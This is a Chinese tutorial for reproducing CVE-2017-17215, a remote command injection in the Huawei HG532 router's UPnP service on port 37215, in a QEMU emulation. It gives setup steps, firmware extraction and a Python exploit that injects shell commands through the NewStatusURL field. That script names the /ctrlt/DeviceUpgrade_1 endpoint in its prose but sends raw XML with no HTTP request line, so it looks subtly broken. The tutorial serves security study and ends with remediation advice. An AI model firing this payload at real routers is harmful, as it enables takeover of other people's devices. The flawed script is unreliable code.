CVE-2017-17215 华为HG532路由器RCE漏洞复现
字数 1113 2025-11-27 14:53:15
CVE-2017-17215 华为HG532路由器RCE漏洞复现教程
漏洞概述
CVE-2017-17215是CheckPoint团队披露的华为HG532路由器远程命令执行(RCE)漏洞。该漏洞存在于设备的UPnP服务中,允许攻击者通过构造特殊的数据包在设备上执行任意命令。
漏洞基本信息
- 漏洞类型: 远程命令执行(RCE)
- 影响设备: 华为HG532路由器
- 固件版本: V100R001C02B015
- 漏洞服务: UPnP服务(端口37215)
- 漏洞文件:
/bin/upnp二进制文件 - 漏洞披露: CheckPoint研究报告
漏洞分析
漏洞位置
漏洞存在于/bin/upnp二进制文件的sub_407B20函数中。
漏洞原理
- 设备支持名为
DeviceUpgrade的服务类型,可通过向/ctrlt/DeviceUpgrade_1地址提交请求执行固件升级操作 - 攻击者可以向37215端口发送特制数据包,利用UPnP协议服务
- 在
NewStatusURL或NewDownloadURL标签中注入任意命令 snprintf函数将标签内容写入字符串变量system函数执行该字符串变量中的内容,导致命令注入
环境准备
所需工具
- QEMU模拟器
- MIPS架构内核和镜像文件:
vmlinux-2.6.32-5-4kc-malta(内核)debian_squeeze_mips_standard.qcow2(镜像)
- 固件文件:
HG532eV100R001C02B015_upgrade_main.bin - 固件解压工具:
- binwalk
- sasquatch
QEMU环境配置
-
下载所需文件:
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2 -
创建启动脚本
start.sh:#!/bin/bash sudo qemu-system-mips \ -M malta -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mips_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic -
赋予执行权限并启动:
chmod +x start.sh ./start.sh -
登录QEMU虚拟机(默认账号密码均为root)
-
配置网络:
nano /etc/network/interfaces修改内容为:
auto eth1 iface eth1 inet dhcp然后启用网卡:
ifup eth1 ip addr
漏洞复现步骤
1. 提取固件
使用binwalk提取固件:
binwalk -Me HG532eV100R001C02B015_upgrade_main.bin
2. 传输文件到QEMU
将提取的squashfs-root目录传输到QEMU虚拟机:
scp -r squashfs-root root@<qemu-ip>:~/
3. 启动漏洞服务
在QEMU虚拟机中:
chroot squashfs-root sh
cd /bin
./mic
4. 验证端口开放
在主机上验证37215端口是否开放:
nc -vv <qemu-ip> 37215
5. 构造并发送EXP
使用Python构造EXP并发送:
import socket
target_ip = "192.168.52.141" # 替换为QEMU虚拟机IP
target_port = 37215
# 构造恶意UPnP请求
payload = (
'<?xml version="1.0"?>\n'
'<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" '
'SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\n'
'<SOAP-ENV:Body>\n'
'<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">\n'
'<NewStatusURL>$(COMMAND)</NewStatusURL>\n'
'<NewDownloadURL>$(echo vulnerable)</NewDownloadURL>\n'
'</u:Upgrade>\n'
'</SOAP-ENV:Body>\n'
'</SOAP-ENV:Envelope>\n'
)
# 替换COMMAND为要执行的命令
command = "ls /"
exploit = payload.replace("$(COMMAND)", f"$({command})")
# 发送恶意请求
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(exploit.encode())
sock.close()
漏洞验证
成功执行EXP后,可以在运行./mic的终端中看到命令执行结果。虽然EXP窗口不会直接显示输出,但命令确实已在目标系统上执行。
修复建议
- 升级到华为官方发布的最新固件版本
- 禁用不必要的UPnP服务
- 配置防火墙规则限制对37215端口的访问